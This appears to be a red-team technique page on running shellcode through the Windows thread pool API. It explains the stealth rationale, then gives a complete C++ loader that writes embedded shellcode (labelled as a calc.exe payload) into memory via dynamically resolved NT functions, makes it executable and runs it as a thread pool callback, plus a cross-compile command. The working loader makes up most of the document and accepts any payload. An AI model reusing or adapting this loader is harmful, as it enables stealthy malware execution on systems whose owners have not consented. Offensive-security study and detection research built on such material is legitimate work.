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Thread Pool Callback Shellcode Execution

Theory

Thread Pool API is a mechanism in Windows that allows efficient management of multiple worker threads, enabling asynchronous execution of tasks. The API provides functions such as CreateThreadpoolWork, SubmitThreadpoolWork, and WaitForThreadpoolWorkCallbacks to create and execute work items in a thread pool. Attackers can exploit this functionality to execute shellcode in a stealthy manner by leveraging the thread pool callback mechanism.

Key Concepts:

  • Thread Pool: A collection of worker threads managed by the Windows kernel, allowing efficient execution of asynchronous tasks.

  • Thread Pool Work Item: A task submitted to the thread pool for execution.

  • Callback Function: A function executed by a worker thread in response to a work item submission.

  • Execution Flow Hijacking: By injecting shellcode into memory and registering it as a thread pool callback, an attacker can execute arbitrary code within the context of a legitimate process.

Execution Flow

  1. Shellcode Preparation & Memory Setup:

    • The shellcode is embedded within the executable and stored as a byte array.

    • Memory is allocated in the current process using NtAllocateVirtualMemory with PAGE_READWRITE permissions.

    • The shellcode is copied to the allocated memory using NtWriteVirtualMemory.

    • The memory region containing the shellcode is then marked as PAGE_EXECUTE_READ using NtProtectVirtualMemory.

  2. Thread Pool Work Item Creation:

    • CreateThreadpoolWork is called with the shellcode address as the callback function.

  3. Submitting the Work Item:

    • SubmitThreadpoolWork enqueues the work item for execution.

  4. Execution:

    • A worker thread from the pool picks up the work item and executes the shellcode.

  5. Cleanup:

    • The work item is closed using CloseThreadpoolWork to clean-up

Practice

The following code implements this technique:

PoolCallback.cpp
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>

// Add these typedefs and function declarations for the NT functions
typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);

// Define NTSTATUS if not already defined
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif


DWORD WINAPI esc_main(LPVOID lpParameter)
{
    DWORD dwSize;
 
    // calc.exe shellcode
    unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
    SIZE_T length = sizeof(decoded);


    // Load NT functions dynamically
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
        return 1;
    }
    
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    
    if (!NtAllocateVirtualMemory || !NtWriteVirtualMemory || !NtProtectVirtualMemory) {
        std::cerr << "Failed to get addresses of NT functions" << std::endl;
        return 1;
    }

    //####SYSCALL####
    HANDLE hProc = GetCurrentProcess();
    PVOID base_addr = NULL;
    SIZE_T pnew = length;
    SIZE_T bytesWritten = 0;
    DWORD oldProtect = 0;
    NTSTATUS status;

    // Allocate memory for shellcode
    status = NtAllocateVirtualMemory(hProc, &base_addr, 0, &pnew, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (status != 0) {
        std::cerr << "NtAllocateVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    // Write shellcode to allocated memory
    status = NtWriteVirtualMemory(hProc, base_addr, decoded, pnew, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    // Change memory protection to executable
    status = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&pnew, PAGE_EXECUTE_READ, &oldProtect);
    if (status != 0) {
        std::cerr << "NtProtectVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    std::cout << "Executing shellcode using Thread Pool API..." << std::endl;

    // Create thread pool work item with shellcode as callback
    PTP_WORK work = CreateThreadpoolWork((PTP_WORK_CALLBACK)base_addr, NULL, NULL);
    if (!work) {
        std::cerr << "CreateThreadpoolWork failed with error: " << GetLastError() << std::endl;
    }

    // Submit work item to thread pool
    SubmitThreadpoolWork(work);

    // Wait for work to complete
    WaitForThreadpoolWorkCallbacks(work, FALSE);
    CloseThreadpoolWork(work);
    
    std::cout << "Execution completed" << std::endl;
    return 0;
}

int main()
{

    esc_main(NULL);
    return 0;
}

We can compile it from linux using following command

x86_64-w64-mingw32-g++ PoolCallback.cpp -o PoolCallback.exe -std=c++20 -static

Resources

LogoShellcode Execution via CreateThreadpoolWait | Red Team Notes

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